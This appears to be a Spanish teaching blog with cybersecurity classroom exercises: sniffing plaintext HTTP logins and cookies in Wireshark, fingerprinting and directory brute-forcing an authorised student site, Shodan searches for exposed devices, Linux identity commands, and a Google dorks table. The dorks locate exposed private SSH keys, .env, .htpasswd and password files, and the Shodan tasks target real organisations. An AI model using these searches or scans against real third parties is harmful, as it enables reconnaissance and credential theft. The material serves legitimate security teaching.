En esta práctica aprenderás a utilizar Wireshark para analizar el tráfico HTTP generado al navegar por una aplicación web vulnerable. El objetivo es comprender cómo viajan las peticiones y respuestas en una web sin cifrado, identificar parámetros, observar cabeceras, analizar formularios y cookies de sesión, y entender los riesgos de seguridad asociados.

La web utilizada es:
```
http://testphp.vulnweb.com/
```
Este sitio es un entorno público y autorizado para prácticas de ciberseguridad ofrecido por Acunetix, por lo que su uso es completamente legal con fines académicos.

2. Objetivos de la práctica

Al finalizar la actividad, deberás ser capaz de:
- Capturar tráfico HTTP real con Wireshark.
- Aplicar filtros para aislar información concreta.
- Analizar peticiones GET y POST.
- Identificar parámetros, rutas internas y patrones de navegación.
- Localizar cookies y sesiones enviadas en texto claro.
- Comprender los riesgos de enviar credenciales por HTTP.
3. Procedimiento

3.1. Preparación
1. Abre Wireshark.
2. Selecciona la interfaz de red que utilices para navegar por Internet.
3. Inicia la captura de paquetes.
4. Abre el navegador y visita:
```
http://testphp.vulnweb.com/
```
1. Navega por distintas secciones: categorías, productos, artista, carrito…
2. Accede al formulario de login e introduce cualquier usuario y contraseña (fallará siempre, es parte del diseño).
3. Realiza varias acciones para generar tráfico suficiente.
4. Regresa a Wireshark y detén la captura.
4. Análisis guiado en Wireshark

A continuación aplicarás varios filtros y analizarás lo que ocurre en cada caso.

4.1. Visualizar únicamente tráfico HTTP

Filtro:
```
http
```
Qué debes observar:
- Todas las peticiones realizadas al servidor.
- Rutas como /index.php, /listproducts.php, /product.php, etc.
- Imágenes, scripts y otros recursos solicitados.
Ejemplo típico que deberías encontrar:
```
GET /listproducts.php?cat=1 HTTP/1.1
Host: testphp.vulnweb.com
```
4.2. Listar únicamente peticiones GET

Filtro:
```
http.request.method == "GET"
```
Observa cómo la web utiliza parámetros en la URL. Ejemplos que verás:
```
GET /artist.php?artist=4
GET /product.php?pic=3
GET /listproducts.php?cat=2
```
Esto permite mapear la estructura del sitio.

4.3. Detectar peticiones con parámetros

Filtro:
```
http.request.uri contains "="
```
Este filtro muestra exclusivamente peticiones con parámetros GET.

Ejemplos esperados:
```
GET /shoppingcart.php?add=2
GET /login.php?test=1
```
Fíjate en cómo la información viaja en texto plano.

4.4. Analizar el login (peticiones POST)

En la web, introduce un usuario y contraseña en el formulario.

Filtro:
```
http.request.method == "POST"
```
Debes encontrar una petición similar a:
```
POST /userinfo.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

uname=prueba&pass=1234
```
Reflexiona sobre el riesgo de enviar credenciales por HTTP sin cifrar.

4.5. Visualizar cookies y sesiones

Filtro:
```
http.cookie
```
Deberías ver algo como:
```
Cookie: PHPSESSID=8d6v93h3k8a...
```
Esto confirma que la sesión también viaja sin protección alguna.

4.6. Encontrar errores en la web

Filtro:
```
http.response.code >= 400
```
Este filtro permite localizar:
- Páginas no encontradas (404)
- Errores internos (500)
- Accesos no permitidos (403)
Esto ayuda a entender la estructura interna del sitio.

4.7. Localizar recursos concretos: imágenes, JS y CSS

Para analizar recursos específicos:

Imágenes (JPG):
```
http.request.uri contains ".jpg"
```
Scripts:
```
http.request.uri contains ".js"
```
Hojas de estilo:
```
http.request.uri contains ".css"
```
Permite reconstruir exactamente todo lo que carga el navegador.

4.8. Seguir una conversación completa

Selecciona cualquier paquete HTTP → clic derecho →
Follow → HTTP Stream

Verás la conversación completa entre cliente y servidor:
- Petición completa
- Respuesta completa
- HTML enviado
Perfecto para reconstruir acciones exactas del usuario.

5. Cuestionario final

Responde a las siguientes preguntas basándote en tu captura:
1. Lista todos los parámetros GET que aparecieron durante tu navegación.
2. ¿Qué peticiones POST detectaste? ¿Qué información enviaron?
3. ¿Cómo viajan las credenciales del formulario de login?
4. ¿Qué cookies o identificadores de sesión aparecen durante la captura?
5. ¿Puedes reconstruir qué páginas visitó el usuario? Describe el flujo.
6. ¿Has encontrado algún error HTTP (404, 500…)? ¿En qué rutas?
7. Explica qué riesgos de seguridad existen al usar HTTP en lugar de HTTPS.
diciembre 12, 2025
Caso Práctico DS1: Análisis de Tráfico Web y Login con Wireshark (2)
Aprender a capturar y analizar tráfico de red con Wireshark, identificar credenciales transmitidas en claro, interpretar paquetes HTTP y localizar patrones que un pentester o analista usaría para detectar:
- Credenciales expuestas
- Cookies de sesión
- Estructura de peticiones al servidor
- Intentos de ataque (básico)
- Fingerprinting indirecto del hosting
1. Preparación del entorno

1.1. Material necesario
- Wireshark instalado
- Navegador web
- La URL de vuestra aplicación PHP en el hosting
1.2. Configuración previa
1. Abrir Wireshark
2. Elegir la interfaz correcta:
  - En WiFi: suele ser wlan0 o similar
  - En cable: eth0
3. Aplicad un filtro pre-captura opcional para no saturar: tcp port 80 or tcp port 443
2. Captura del tráfico (la parte divertida)

2.1. Comenzar la captura
1. En Wireshark → seleccionad interfaz → botón azul Start capture.
2. Dejad Wireshark escuchando en segundo plano.
2.2. Generar tráfico real

En vuestra aplicación PHP:
1. Entrad en la página del login.
2. Haced:
  - 1 intento fallido
  - 1 intento correcto
3. Navegad un poco por el CRUD (listar, ver, editar).
Esto genera tráfico muy fácil de reconocer.

3. Filtrado y análisis del tráfico HTTP

3.1. Filtrar solo HTTP

En la barra de filtros de Wireshark:
```
http
```
Observad cómo aparecen las peticiones:
- GET /login.php HTTP/1.1
- POST /login.php HTTP/1.1
- Peticiones a JS, CSS, etc.
Entrega:
- Captura del primer filtro HTTP mostrando al menos 8–10 paquetes.
4. Análisis de un login (¡a por credenciales!)

Vamos a buscar el POST del login.

4.1. Filtro preciso del POST
```
http.request.method == "POST"
```
Seleccionad el paquete que corresponda a vuestro login.

4.2. Abrir el contenido del POST

En el panel inferior → Hypertext Transfer Protocol → Form-urlencoded.

Deberíais ver algo como:
```
username=juan
password=1234
```
(¡si la web no usa HTTPS y el hosting no lo fuerza!)

4.3. Preguntas para entregar
1. ¿El login viaja en claro o cifrado?
2. Si viaja cifrado, ¿qué aparece en su lugar?
3. Si viaja en claro, copiáis:
  - usuario
  - contraseña
  - parámetros adicionales
💡 Esta parte impacta mucho: “Así de fácil es robar credenciales sin HTTPS.”

5. Análisis de cookies y sesión

5.1. Buscar cookies de sesión

Filtro:
```
http.set_cookie
```
o:
```
http.cookie
```
Localizad:
- PHPSESSID=xxxxxxx u otro identificador.
5.2. Preguntas para entregar
1. ¿La cookie tiene flags Secure, HttpOnly, SameSite?
2. ¿Se envía en la misma petición del login?
3. ¿Se reutiliza durante toda la sesión?
4. ¿Podríais robarla si el tráfico no fuese HTTPS?
6. Identificación de servidor y tecnologías mediante tráfico

Aunque no usemos WhatWeb, Wireshark también revela cosas interesantes.

6.1. Buscad cabeceras del servidor

Filtro:
```
http.server
```
y:
```
http.response
```
Podéis encontrar:
- Server: Apache/2.4.54
- X-Powered-By: PHP/8.1.12
7. Detectar patrones de ataque (mini-reto)

Ahora vamos a “jugar” con el tráfico que vosotros mismos habéis generado.

Hacer desde otra máquina:
- un par de intentos de fuerza bruta
- navegación rara
- errores 404
- probad rutas prohibidas
7.1. Filtrar errores del servidor
```
http.response.code >= 400
```
7.2. Preguntas
1. ¿Qué tipo de errores aparecen más?
2. ¿Alguna IP destaca como “sospechosa”?
3. ¿Puedes reconstruir qué intentaba hacer ese cliente?
  (por ejemplo: intentar acceder a /admin/ o /backup/)
8. Bonus: reconstrucción de sesión (Follow TCP Stream)

Seleccionad cualquier paquete HTTP → botón derecho:

Follow → TCP Stream

Miraréis la conversación completa entre cliente y servidor como si fuese un chat textual.

Entrega:
1. Captura del stream
2. Comentad:
  - ¿Qué información sensible se ve?
  - ¿Podríais reproducir manualmente alguna petición?
9. Conclusiones finales (informe corto)

Cada alumno debe redactar:

9.1. Hallazgos importantes
- ¿Se ven credenciales?
- ¿Se identifican cookies inseguras?
- ¿Qué tecnologías se filtran?
- ¿Alguna ruta interesante/extraña?
9.2. Riesgos detectados

3 riesgos mínimos (exposición de tecnología, falta de HTTPS, cookies inseguras…)

9.3. Recomendaciones

3 medidas de mejora:
- Forzar HTTPS
- Ocultar versión del servidor
- Flag HttpOnly en cookies
- Deshabilitar rutas innecesarias
diciembre 9, 2025
Caso Práctico DS1: Fingerprinting y superficie de ataque (3)
enéis desplegada una pequeña aplicación PHP (CRUD + login) en un hosting compartido.

En esta práctica vais a poneros en la piel de un analista de ciberseguridad que tiene permiso para auditar solo ese sitio web. El objetivo es:
- Identificar tecnologías y versiones que usa la web (fingerprinting).
- Descubrir rutas y ficheros interesantes (superficie de ataque).
- Detectar posibles debilidades de configuración.
⚠️ Regla de oro: Solo podéis escanear el dominio/URL que os ha dado el profesor. Nada de escanear webs ajenas “por probar”.

1. Preparación del entorno

1.1. Datos que debes tener

Anota en tu cuaderno o documento:
- URL de la aplicación:
  Ejemplo: https://grupoX.miapp.ejemplo.com
- (Opcional) IP del servidor si el profe la da:
  Ejemplo: 123.45.67.89
1.2. Herramientas a usar

En un Linux (real o máquina virtual) instalad, si no están:
```
sudo apt update

# WhatWeb (fingerprinting web)
sudo apt install whatweb -y

# Nikto (escáner de vulnerabilidades web)
sudo apt install nikto -y

# Gobuster (fuerza bruta de directorios)
sudo apt install gobuster -y

# Wordlist básica (si no la tenéis)
sudo apt install wordlists -y
```
Comprobad que funcionan:
```
whatweb --version
nikto -Version
gobuster -h
```
2. Fingerprinting básico del servidor web (WhatWeb + cabeceras)

2.1. Resolver el dominio
1. Desde la terminal, comprobad a qué IP resuelve vuestro dominio:
```
ping -c 3 TU_DOMINIO
```
Sustituye TU_DOMINIO por tu URL (sin https://).
Ejemplo:
```
ping -c 3 grupoX.miapp.ejemplo.com
```
1. Anota:
  - IP a la que resuelve
  - Tiempo de respuesta aproximado
Entrega: captura de pantalla o copia del comando y el resultado.

2.2. Cabeceras HTTP con curl

Queremos ver qué nos cuenta el servidor solo con las cabeceras.
1. Ejecuta:
```
curl -I https://TU_DOMINIO
```
1. Fíjate en:
- Server: (Apache, Nginx, etc., ¿con versión?)
- X-Powered-By: (¿PHP con versión?)
- Si hay algo como Set-Cookie:, etc.
Entrega:
- copia de las cabeceras
- responde brevemente:
  
  ¿Se está filtrando la versión exacta del servidor o PHP?
2.3. Fingerprinting con WhatWeb

Ahora usamos WhatWeb para identificar tecnologías:
```
whatweb https://TU_DOMINIO
```
Si quieres más detalle:
```
whatweb -v https://TU_DOMINIO
```
Analiza:
- ¿Detecta CMS (WordPress, etc.)?
- ¿Versiones de Apache/PHP?
- ¿Librerías JS, frameworks?
Entrega:
- salida de WhatWeb (resumen)
- lista de tecnologías detectadas
- marca con un asterisco las que muestren versión concreta, ejemplo:
  
  PHP 8.1.12 *
  
  Apache 2.4.54 *
3. Análisis de configuración con Nikto

Nikto es un escáner de vulnerabilidades web orientado a configuración y ficheros por defecto.

3.1. Lanzar un escaneo básico

Ejecuta:
```
nikto -h https://TU_DOMINIO
```
Según el hosting puede tardar un poco.

Mientras tanto, ve leyendo las líneas: muchas veces indican ficheros interesantes, redirecciones, opciones inseguras, etc.

3.2. Interpretar resultados

Cuando termine, revisa:
- ¿Detecta archivos o directorios por defecto (ej: /phpinfo.php, /server-status, /test/)?
- ¿Algún mensaje tipo “OSVDB”, “might be vulnerable to…”?
- ¿Alguna recomendación de deshabilitar cosas?
Entrega:
1. Lista de 3–5 hallazgos relevantes de Nikto. Para cada uno:
  
  Qué ha encontrado (ruta / mensaje).
  
  Por qué podría ser un problema.
2. Indica si crees que hay algo que debería deshabilitarse/eliminarse en el servidor.
(Si el hosting está muy capado y Nikto no ve casi nada, eso también es un hallazgo: coméntalo.)

4. Fuerza bruta de rutas y directorios con Gobuster

Aquí empezamos a descubrir “piezas” ocultas de la aplicación: paneles, copias de seguridad, etc.

4.1. Elección de wordlist

Usaremos una wordlist relativamente pequeña para no machacar el hosting.

Por ejemplo:
```
ls /usr/share/wordlists/dirb/
```
Una habitual:
- /usr/share/wordlists/dirb/common.txt
4.2. Lanzar Gobuster (modo dir)

Comando base:
```
gobuster dir \
  -u https://TU_DOMINIO \
  -w /usr/share/wordlists/dirb/common.txt \
  -t 30 \
  -x php,txt,html
```
Explicación:
- -u: URL objetivo
- -w: wordlist
- -t: hilos (no os flipéis, que es un hosting compartido)
- -x: extensiones a probar (.php, .txt, .html)
4.3. Analizar resultados

Fíjate en entradas con códigos de estado interesantes:
- 200 → existe y responde bien
- 301/302 → redirecciones
- 403 → existe pero está prohibido (¡ojo, puede haber algo interesante detrás!)
Entrega:
- Lista de rutas interesantes encontradas. Ejemplo:
  
  /admin/ (200)
  
  /backup/ (403)
  
  /old/ (200)
- Para cada una, explica:
  
  ¿Crees que deberían ser accesibles?
  
  ¿Podrían contener datos sensibles?
5. Mini-conclusiones de seguridad

Al final de la práctica, responde a estas preguntas en un pequeño informe (1–2 páginas):
1. Fingerprinting
  - ¿Qué servidor web y versión usa vuestro hosting?
  - ¿Qué versión de PHP se expone (si es visible)?
  - ¿Se muestran cabeceras innecesarias (X-Powered-By, etc.)?
2. Superficie de ataque
  - ¿Qué directorios ocultos/localizaciones interesantes habéis encontrado?
  - ¿Habéis visto algún archivo de configuración, backup, antiguo…?
3. Riesgos
  - Señala al menos 3 riesgos potenciales que habéis identificado.
  - Para cada uno, describe:
    
    Cómo lo habéis descubierto (herramienta + comando).
    
    Qué podría hacer un atacante con ello.
4. Recomendaciones
  - Escribe 3 medidas que propondrías al responsable del hosting:
    
    Ejemplos: ocultar versión de servidor, borrar backups públicos, restringir /admin, etc.
diciembre 9, 2025

Operador	Significado
`==`	Igual a
`!=`	Distinto
`contains`	El campo contiene un texto concreto
`<` / `>`	Comparación numérica
`&&`	AND lógico
`
`!`	Negación (NO)

Practica [OSINT]- SEÑALES DE VIDA (O ALGO PEOR) EN LA RED

Operación Nostromo: búsqueda de dispositivos comprometidos antes de que “algo” despierte…

La nave USCSS Nostromo ha recibido una transmisión automática desde un sistema remoto. No se sabe si es una llamada de socorro… o una advertencia.
La compañía ha encomendado al Equipo de Investigación (tus alumnos) usar Shodan para rastrear:

Señales de dispositivos expuestos
Orígenes de la transmisión
Infraestructura del sistema remoto
Posibles vectores de intrusión

La misión: analizar patrones, encontrar conexiones y trazar el mapa de un “nido” digital escondido.

La actividad se divide en 3 fases, cada una con un objetivo claro y un filtro de Shodan.

Web de Shodan.io

FASE 1 — Localizar señales: “Ping de movimiento”

Objetivo: practicar filtros por tipo de dispositivo + país/ciudad.

El sensor de movimiento de la Nostromo detecta actividad anómala en una zona del sistema. Necesitamos saber qué dispositivos expuestos hay allí.

Tareas:

Buscar un tipo concreto de dispositivo (puerta automatizada, cámara IP, sistema industrial, etc.) Ejemplos:
- Cámaras IP:
  product:GoAhead
  product:"Hikvision"
  port:554 has_screenshot:true
- Paneles web expuestos:
  http.title:"login"
Añadir filtro de ubicación (país o ciudad).
Por ejemplo, España: country:ES product:GoAhead O por ciudad: city:Madrid http.title:login
Apuntar IP, puerto, captura y versión como si fueran “señales biológicas”.

FASE 2 — Identificar el origen de la transmisión

Objetivo: buscar por organización o dominio.

La señal parece provenir de una colonia (una empresa, universidad o dominio). Deben “explorar todas las instalaciones” de ese lugar.

Ejercicios:

Elegir una organización pública o conocida:
Ejemplos: org:"Universidad Complutense" org:"Telefonica"
Buscar todos los dispositivos de la misma entidad: hostname:"uic.es" hostname:"unizar.es"
Revisar patrones:
- ¿Qué puertos están abiertos?
- ¿Qué servicios viejos aparecen?
- ¿Hay dispositivos iguales repartidos por varias sedes?

“Se detectan varias salas técnicas, ventilación, terminales…”
Vamos, un nido perfecto para un xenomorfo.

FASE 3 — Conexión entre señales: seguir el rastro del xenomorfo

Objetivo: enlazar un dispositivo concreto → el resto del ecosistema.

Han encontrado una máquina sospechosa que transmite paquetes extraños. La misión es identificar todo el entorno que la rodea.

Cómo hacerlo:

Selecciona un dispositivo que hayas encontrado en Fase 1.
Observan:
- dominio
- ASN
- organización
- versión del servicio
Construyen una nueva búsqueda:

IP: 82.X.X.X
org: "Ayuntamiento de ___"
port 443 running nginx 1.18.0

Entonces buscar:

org:"Ayuntamiento de ___"
product:"nginx"

O incluso por ASN:

asn:3352 (o el ASN que toque)
Buscan patrones:
- ¿Hay varios dispositivos vulnerables?
- ¿Alguno tiene panel expuesto?
- ¿Coinciden versiones?

Misión Ash (ciencia sintética)

Encontrar un dispositivo antiguo que no debería seguir activo:

os:"Windows XP"

"Server: Apache/2.2"

Misión Ripley: “Purgar la amenaza”

Buscar servicios críticos abiertos sin autenticación:

port:22 "OpenSSH_7"
port:21 Anonymous

Misión Bishop (android leal)

Buscar paneles que tengan captura para analizar visualmente:

has_screenshot:true city:Barcelona

Registros:

Informe breve estilo Weyland-Yutani
(Ejemplo de redacción)

Recomendación para “contención”
Descripción de la amenaza detectada
Pruebas (capturas de Shodan)
Hipótesis del “nido” o red asociada

(Ejemplo de redacción estilo Weyland-Yutani de la ficción de Alien)

Informe_WeylandYutani Descarga

Alternativas interesantes a Shodan

Herramienta / buscador	Qué la hace útil / especialidad

Censys

Escanea infraestructura global, con foco extra en certificados SSL/TLS, puertos, hosts — útil para mapear superficie de ataque de forma sistemática. 5 Minute Breach+2We Live Security+2

ZoomEye

Similar a Shodan; ampliamente usada fuera del “mainstream” occidental. Puede servir para comparar visiones distintas del Internet expuesto. MarPoint+2SecurityVision.ru+2

BinaryEdge

Permite monitorear servicios, puertos abiertos, SSL, accesos remotos — y recibir alertas. Buena opción para vigilancia continua o auditorías periódicas. We Live Security+2LearnHub+2

Fofa

Ofrece sintaxis de búsqueda avanzada, lo que facilita búsquedas muy específicas (por puerto, servicio, sello de software, etc.). Puede servir bien para ejercicios dirigidos. We Live Security+1

GreyNoise

No es exactamente un “scanner” de dispositivos, sino más bien un filtro de ruido: ayuda a clasificar qué direcciones/IPs simplemente están haciendo escaneos automáticos masivos (ruido) frente a actividad potencialmente relevante. Útil para refinar resultados (filtrar falsos positivos). We Live Security+2LearnHub+2

Netlas

Plataforma más reciente, pensada para descubrimiento y monitorización global de “activos conectados”. Puede ser útil si buscas comparar con herramientas más consolidadas. SecurityVision.ru+2Netlas+2

⚠️ Cosas a tener en cuenta

Ninguna herramienta cubre todos los dispositivos — pueden faltar muchos servicios expuestos, por bloqueo, firewalls, NAT, técnicas de evasión.
Los datos recogidos (puertos, software, banners) pueden estar desactualizados o ser engañosos: muchas veces los sistemas cambian o los banners son falsos.
Uso de herramientas externas implica responsabilidad ética — incluso si lo haces con fines académicos, siempre debe mantenerse respeto por la privacidad y normas legales.

diciembre 9, 2025

2.6 – Usuarios y Huellas Digitales en Linux
whoami

El equivalente digital de mirarse al espejo.
Muestra el usuario efectivo que está ejecutando el comando.
Perfecto para explicar la diferencia entre:
- usuario real (el que inicia sesión),
- usuario efectivo (el que el sistema usa para permisos, especialmente tras un sudo).
id

Un pequeño radiotelescopio hacia tu identidad numérica.
Muestra:
- UID (identificador del usuario)
- GID (grupo principal)
- grupos secundarios
  Es una forma directa de ver permisos y roles dentro del sistema. Ideal para ejercicios de administración y forense.
who / w / users

El “quién está ahora mismo en la nave”.
Sirve para ver sesiones activas y cómo han entrado:
- tty
- pts (sesiones remotas)
- SSH
- tiempo conectado
- En ciberseguridad es una herramienta rápida para detectar conexiones sospechosas.
env

El baúl entero de variables de entorno.
Aquí viven cosas como:
- $USER
- $HOME
- $SHELL
- $PATH
  
  Además permite explicar a los alumnos por qué una aplicación “sabe” dónde buscar binarios o dónde está su carpeta de configuración.
echo $USER

Una forma simple de leer la variable que indica el nombre del usuario que ha iniciado sesión.
Comparar whoami vs $USER es didáctico:
$USER → quien inició sesión
whoami → usuario efectivo (útil para mostrar cómo sudo cambia el contexto)

echo $HOME

Viene genial para scripts o explicaciones sobre la organización del sistema.
Muestra la ruta al directorio personal, que siempre es sagrado en Linux.

echo $SHELL

Permite enseñar la diferencia entre bash, zsh, fish…
Ideal para que entiendan por qué su terminal “se comporta raro” tras instalar algo.

hostname

La identidad pública del sistema en la red.
Junto con hostname -I, sirve para explicar la distinción entre:
- identidad del equipo,
- interfaces,
- direcciones IP que usa para comunicarse.
logname

La versión más purista de “quién inició esta sesión”, incluso si has hecho un su o un sudo.
Muy útil en prácticas de forense porque te permite reconstruir acciones de usuarios.

tty

Muestra el dispositivo de terminal actual.
En remoto se verá algo como /dev/pts/1.
Perfecto para entender:
- sesiones locales,
- sesiones remotas,
- multiplexación de terminales.
ps aux | grep $USER

Una puerta a ver “qué está ejecutando realmente tu identidad”.
A los alumnos les ayuda a comprender procesos, permisos, señales y contextos.

finger (si lo instalas)

Pinta un pequeño perfil del usuario:
- shell
- home
- nombre real
  
  Antiguo pero didáctico como pocas cosas.
Actividad: “¿Quién eres en esta máquina?” – Identidad y sesiones en Linux

Imagina que el sistema es una estación espacial. Cada alumno entra por una compuerta distinta, a veces cambia de traje (sudo), y el objetivo es reconstruir quién hizo qué.

Todo ocurre en un Ubuntu normal.

FASE 1 — Identidad básica

Ejecuta:
```
whoami
echo $USER
id
logname
```
Descubrir que el sistema te reconoce por varias “capas”.

Explicación:
- whoami → usuario efectivo.
- $USER → usuario que inició sesión.
- id → UID, GID, grupos.
- logname → el user original aunque hayan hecho su.
Pequeño reto:
Pídeles que intenten entender por qué sudo whoami devuelve root,
pero echo $USER sigue mostrando su usuario normal.

FASE 2 — Dónde están realmente

Ejecutar
```
pwd
echo $HOME
echo $SHELL
tty
```
Esto muestra:
- dónde están,
- cuál es su shell,
- qué terminal están usando (local, SSH, pts…).
Ejercicio: Compartir un terminal local (tty1) con una sesión SSH

FASE 3 — Quién más está en la nave

Ahora miramos el estado de la estación:
```
who
w
users
hostname
hostname -I
```
Objetivo: identificar todas las sesiones activas.
Puedes entrar desde otra máquina para ver “un intruso”.

Mini-misión:
Que usen who para averiguar:
- quién está conectado,
- desde qué terminal,
- desde qué IP si es SSH,
- desde cuándo.
Esto introduce sin ruido en análisis forense real.

FASE 4 — Cambio de identidad
```
sudo -i
whoami
echo $USER
id
logname
tty
```
Aquí ocurre la magia:
- whoami → root
- $USER → su usuario original
- logname → quien realmente abrió la sesión
- tty → la misma porque no abren una nueva
FASE 5 — Ver qué hace cada identidad

En otra terminal, que ejecuten:
```
ps aux | grep $USER
ps aux | grep root
```
Fijate que root suele llevar servicios, demonios, etc.

FASE 6 — Prueba forense

Prueba a ejecutar con un usuario un comando secreto en su sesión, por ejemplo:
```
mkdir /tmp/estacion-alpha
echo "Hola profe" > /tmp/mensaje.txt
touch ~/algo_raro
```
Luego cambia de usuario :

“Reconstruid qué usuarios han hecho qué”

Utilizando:
```
ls -l /tmp
ls -l /home/*
who
logname
id username
```
La identidad del sistema queda impregnada en permisos, UID, GID, sesiones y ficheros creados.

Hackeo benévolo

Se hace SSH desde otro equipo con:
```
ssh usuario@IP
```
Luego ejecuta:
```
who
w
tty
hostname -I
```
Los demás deben encontrar:
- quién ha entrado
- desde qué IP
- en qué terminal
- cuánto tiempo lleva conectado
  Esta parte siempre les encanta porque parece CSI, pero sin dramatismos digitales.
noviembre 27, 2025

Google Hacking

Google Hacking es una técnica de búsqueda utilizada para encontrar información específica en los motores de búsqueda, como Google.

[!NOTA]
Este tipo de búsquedas no son invasivas, ya que no hacen peticiones al servidor del objetivo, por lo que podemos utilizar estas técnicas libremente.

Google Hacking Database

https://www.exploit-db.com/google-hacking-database

La Google Hacking Database (GHDB) es una colección de comandos de búsqueda de Google y técnicas de búsqueda avanzadas que se utilizan para encontrar información que puede ser útil en la realización de pruebas de penetración y en la investigación de seguridad.

La GHDB fue creada por Johnny Long, un experto en seguridad informática, y es mantenida por una comunidad de profesionales de la seguridad informática. La GHDB contiene miles de comandos de búsqueda de Google y técnicas de búsqueda avanzadas que se utilizan para encontrar información confidencial, como contraseñas, información de inicio de sesión, archivos de configuración, archivos de registro y más.

Los comandos de búsqueda de Google en la GHDB se organizan en categorías, como «Vulnerabilities», «Files containing passwords» y «Sensitive Directories». Cada comando de búsqueda viene con una descripción detallada de lo que busca y cómo se puede utilizar.

La GHDB se utiliza comúnmente en pruebas de penetración y en la investigación de seguridad para buscar información confidencial que puede ser utilizada en un ataque. Es importante tener en cuenta que la GHDB debe utilizarse con precaución y solo con el permiso del propietario del sitio web o de la red que se está probando. También es importante asegurarse de que cualquier información confidencial descubierta se informe al propietario del sitio web o a las autoridades apropiadas.

Google Dorks

Los Google Dorks son combinaciones específicas de palabras o frases que se usan para realizar búsquedas avanzadas en Google y obtener resultados que no se pueden obtener mediante una búsqueda normal.

Es importante tener en cuenta que los Google Dorks no son herramientas de hacking en sí mismas, sino una técnica para realizar búsquedas avanzadas en Google. Sin embargo, los Google Dorks pueden ser utilizados por los hackers para encontrar información sensible que puede ser utilizada en ataques posteriores. Por lo tanto, se recomienda utilizar los Google Dorks de manera responsable y con fines éticos, especialmente si se utilizan en el campo de la seguridad informática.

Operador	Descripción	Ejemplo	Explicación del ejemplo
`site:`	Limita resultados a un dominio específico.	`site:example.com`	Encuentra todas las páginas accesibles en example.com.
`inurl:`	Busca un término dentro de la URL.	`inurl:login`	Localiza páginas de inicio de sesión.
`filetype:`	Filtra por tipo de archivo.	`filetype:pdf`	Encuentra documentos PDF descargables.
`intitle:`	Busca un término en el título de la página.	`intitle:"confidential report"`	Busca documentos titulados “informe confidencial” o similares.
`intext:` / `inbody:`	Busca dentro del cuerpo del texto.	`intext:"password reset"`	Encuentra páginas con “restablecimiento de contraseña”.
`cache:`	Muestra la versión en caché de Google.	`cache:example.com`	Ve contenido antiguo o previo de example.com.
`link:`	Encuentra páginas que enlazan a otra.	`link:example.com`	Muestra webs que tienen enlaces hacia example.com.
`related:`	Encuentra páginas parecidas a otra.	`related:example.com`	Descubre sitios similares a example.com.
`info:`	Muestra información básica sobre un sitio.	`info:example.com`	Título, descripción y datos del sitio.
`define:`	Busca definiciones de una palabra.	`define:phishing`	Obtiene la definición de phishing.
`numrange:`	Busca números dentro de un rango.	`site:example.com numrange:1000-2000`	Busca páginas de ese dominio con números entre 1000 y 2000.
`allintext:`	Todas las palabras deben aparecer en el texto.	`allintext:admin password reset`	Localiza páginas que contienen ambas palabras.
`allinurl:`	Todas las palabras deben aparecer en la URL.	`allinurl:admin panel`	Busca URLs con “admin” y “panel”.
`allintitle:`	Todas las palabras deben estar en el título.	`allintitle:confidential report 2023`	Busca títulos con esas tres palabras.
`AND`	Exige que todos los términos aparezcan.	`site:example.com AND (inurl:admin OR inurl:login)`	Busca paneles admin o login en example.com.
`OR`	Acepta cualquiera de los términos.	`"linux" OR "ubuntu" OR "debian"`	Busca páginas que mencionen cualquiera de esos sistemas.
`NOT`	Excluye resultados con un término.	`site:bank.com NOT inurl:login`	Excluye las páginas de login.
`*` (comodín)	Sustituye cualquier palabra/caracter.	`site:socialnetwork.com filetype:pdf user* manual`	Encuentra “user guide”, “user manual”, etc.
`..` (rango)	Busca valores dentro de un intervalo numérico.	`site:ecommerce.com "price" 100..500`	Busca productos entre 100 y 500.
`""` (comillas)	Busca coincidencia exacta.	`"information security policy"`	Busca esa frase exacta.
`-` (menos)	Excluye un término concreto.	`site:news.com -inurl:sports`	Noticias sin resultados deportivos.

Ejemplos de uso:

Google Dork	Descripción
`intitle:"Index of" password.txt`	Muestra directorios que contienen archivos llamados “password.txt”.
`intitle:"Index of" /admin`	Muestra directorios de administración.
`filetype:xls inurl:"email.xls"`	Muestra listados de emails expuestos.
`inurl:"login" site:example.com`	Encuentra páginas de inicio de sesión en un sitio concreto.
`filetype:log inurl:"password.log"`	Encuentra logs cuyo nombre contiene “password”.
`intitle:index.of id_rsa -id_rsa.pub`	Encuentra claves privadas SSH expuestas.
`site:.gov intitle:"secret" filetype:pdf`	Encuentra archivos PDF gubernamentales expuestos.
`intext:"Welcome to phpMyAdmin"`	Encuentra instalaciones de phpMyAdmin accesibles.
`inurl:/wp-content/uploads/ filetype:pdf`	Busca PDFs dentro de uploads de WordPress.
`intitle:"Index of" /backup`	Encuentra directorios de backups accesibles.
`site:example.com ext:sql`	Busca bases de datos SQL en ese dominio.
`intitle:"index of" "database.sql"`	Busca archivos SQL expuestos.
`intitle:"SQL Injection" site:example.com`	Encuentra páginas del sitio que mencionan SQL Injection.
`site:example.com ext:doc`	Busca documentos Word en ese sitio.
`site:example.com ext:xml`	Busca archivos XML.
`site:example.com ext:conf`	Busca archivos de configuración accesibles.
`inurl:"/cgi-bin/pass.txt"`	Busca archivos “pass.txt” en cgi-bin.
`intitle:"WebcamXP 5"`	Encuentra cámaras accesibles por WebcamXP 5.
`site:example.com inurl:config`	Busca archivos/configs dentro del sitio.
`intitle:"index of" intext:config.php`	Encuentra directorios con config.php.
`intitle:"index of" intext:.htpasswd`	Muestra directorios con .htpasswd.
`intitle:"index of" intext:.env`	Busca directorios con archivos .env.
`intitle:"index of" "wp-content/uploads" site:example.com`	Busca uploads de WordPress indexados.
`filetype:xls inurl:"email.xls"`	Encuentra Excel que contienen “email.xls”.
`intext:"Powered by phpBB"`	Encuentra webs que usan phpBB.
`intext:"Powered by WordPress"`	Encuentra webs que usan WordPress.
`intext:"@outlook.com" site:example.com`	Busca correos @outlook.com dentro del sitio.
`inurl:/dana-na/ filetype:cgi`	Busca CGIs dentro de /dana-na/.
`inurl:server-info "Apache Server Information"`	Muestra información del servidor Apache.
`intext:"sql syntax near"`	Muestra webs con errores SQL visibles.
`intext:"confidential" site:example.com`	Páginas del sitio que contienen “confidencial”.
`inurl:/proc/self/cwd`	Muestra el directorio actual del servidor (grave exposición).
`intitle:"index of" intext:web.config`	Directorios indexados con web.config.
`filetype:reg reg HKEY_CURRENT_USER username`	Busca archivos de registro que contengan “username”.
`inurl:"ViewerFrame?Mode="`	Encuentra cámaras accesibles por ese visor.
`intext:"powered by vBulletin"`	Encuentra webs que usan vBulletin.
`intitle:"index of" inurl:ftp`	FTPs accesibles de forma pública.
